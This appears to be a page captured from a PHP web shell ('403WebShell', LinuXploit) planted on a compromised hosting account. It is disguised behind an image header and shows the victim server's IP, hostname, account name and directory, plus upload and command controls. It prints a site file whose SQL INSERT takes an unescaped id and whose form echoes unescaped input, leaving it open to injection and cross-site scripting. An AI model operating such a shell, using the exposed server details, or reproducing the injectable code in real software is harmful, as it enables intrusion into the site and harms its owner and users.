����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 3.144.16.40
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/learn.skilltainment.org/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kwacuqig/learn.skilltainment.org/project-step.php
<?php
include './sidebar.php';
include './navbar.php';

if (isset($_GET['id'])) {
    if (!empty($_GET['id'])) {
        $id=$_GET['id'];
    }
}

if (isset($_POST['submit'])) {
    $id = $_POST['id'];
    $details = mysqli_real_escape_string($conn,nl2br($_POST['details']));

    $image_name = strtolower($_FILES['image']['name']);
    $image_type = $_FILES['image']['type'];
    $image_size = $_FILES['image']['size'];
    $image_tmp_name = $_FILES['image']['tmp_name'];

    switch ($image_type) {
        case 'image/png':
            $extension = ".png";
            break;
        case 'image/jpg':
            $extension = ".jpg";
            break;
        case 'image/jpeg':
            $extension = ".jpg";
            break;
        case 'image/gif':
            $extension = ".gif";
        default:
            $extension = ".jpg";
    }

    //new image name with its particular extension
    $image_new_name = filter_file('image-' . date('Ymd-His') . $extension);

    $location = './projects/images/';

    //checking if file to be uploaded is an image
    if ($image_type == 'image/JPG' || $image_type == 'image/jpeg' || $image_type == 'image/png' || $image_type == 'image/jpg') {
        //checking if both audio and image are uploaded
        if (compressImage($image_tmp_name, $location . $image_new_name, 50)) {
            $sql = "INSERT INTO `project`(`pid`,`image`,`details`) VALUES('$id','$image_new_name','$details')";
            //checking if the query has run successfully
            if (mysqli_query($conn, $sql)) {
                unset($_SESSION['title'], $_SESSION['link'])
                ?>
                <script type="text/javascript">
                    swal("", "Step was successfully Added to Project", "success");
                </script>
            <?php
            } else {
                die(mysqli_error($conn));
            }
        } else {
            ?>
            <script type="text/javascript">
                swal("", "Failed to upload image", "error");
            </script>
        <?php
        }
    } else {
        ?>
        <script type="text/javascript">
            swal("", "<?php echo $image_new_name; ?> is not an image", "error");
        </script>
<?php
    }
}
?>
<div class="container-fluid pt-4 px-4">
    <div class="row g-2">
        <div class="col-12">
            <div class="bg-secondary rounded h-100 p-4">
                <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST" enctype="multipart/form-data">
                    <input type="file" name="image" id="file-2" class="inputfile inputfile-2" data-multiple-caption="{count} files selected" accept=".jpg, .png, .jpeg" multiple required />
                    <label for="file-2">
                        <svg xmlns="http://www.w3.org/2000/svg" width="20" height="17" viewBox="0 0 20 17">
                            <path d="M10 0l-5.2 4.9h3.3v5.1h3.8v-5.1h3.3l-5.2-4.9zm9.3 11.5l-3.2-2.1h-2l3.4 2.6h-3.5c-.1 0-.2.1-.2.1l-.8 2.3h-6l-.8-2.2c-.1-.1-.1-.2-.2-.2h-3.6l3.4-2.6h-2l-3.2 2.1c-.4.3-.7 1-.6 1.5l.6 3.1c.1.5.7.9 1.2.9h16.3c.6 0 1.1-.4 1.3-.9l.6-3.1c.1-.5-.2-1.2-.7-1.5z" />
                        </svg> <span>Select Image</span>
                    </label>
                    <div class="form-floating mb-3">
                        <textarea class="form-control" name="details" placeholder="Leave a comment here" id="floatingTextarea" style="height: 150px;" required><?php echo isset($_SESSION['details']) ? $_SESSION['details'] : ''; ?></textarea>
                        <label for="floatingTextarea">Step Details
                    </div>
                    <input type="hidden" name="id" value="<?php echo $id; ?>">
                    <button type="submit" name="submit" class="btn btn-primary py-3 w-100 my-4"><i class="fa fa-upload"></i> Upload</button>
                </form>
            </div>
        </div>
    </div>
</div>

<script>
    <?php
    if ($user_type == 1) {
    ?>
        document.querySelectorAll(".navbar-nav a")[5].classList.add("active");
    <?php
    } else {
    ?>
        document.querySelectorAll(".navbar-nav a")[2].classList.add("active");
    <?php
    }
    ?>
    document.querySelector("title").innerText = "New Project";
</script>
<?php
include './footer.php';
?>

Youez - 2016 - github.com/yon3zu
LinuXploit